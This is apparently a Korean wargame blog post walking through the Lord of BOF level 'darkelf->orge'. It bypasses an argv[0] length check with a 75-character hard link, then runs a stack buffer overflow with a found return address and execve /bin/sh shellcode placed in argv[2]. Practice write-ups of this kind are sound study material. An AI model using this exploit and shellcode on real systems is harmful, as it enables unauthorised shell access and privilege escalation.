systemhacking/practice

lob darkelf->orge

qkqhxla1 2015. 1. 9. 19:46

argv[0]의 길이가 77자여야된다는 조건이 추가됬는데 링크로 해결가능하다고 한다.

링크로 파일을 만들때는 75글자여야한다.(맨앞의 ./포함해서 77자라네요.)

일단 예시로 75글자짜리 파일 아무거나 하나 만든다.

ex) gcc org1.c -o `python -c 'print "a"*75'`

그리고 이걸 이용해서

./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `python -c 'print "a"*44+"\xbf\xbf\xbf\xbf"'` `python -c 'print "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`


처럼 앞문제와 같이 argv[2]에 공격하는 방식으로 argv[2]의 주소를 알아낸다. (0xbffffbcc 출력됨.)

이제 다시 aa~파일을 지운다.

ln orge `python -c 'print "a"*75'` 처럼 orge파일을 a75개짜리로 링크를 걸면 aaaa파일이 다시 생긴다. 이제 아까 얻은 리턴주소(0xbffffbcc)로 공격

./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `python -c 'print "a"*44+"\xcc\xfb\xff\xbf"'` `python -c 'print "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`


'systemhacking > practice' 카테고리의 다른 글

lob vampire->skeleton  (0) 2015.01.17
lob orge->troll  (0) 2015.01.15
lob wolfman->darkelf  (0) 2015.01.05
lob goblin->orc  (0) 2015.01.04
lob gate->gremlin  (0) 2014.12.30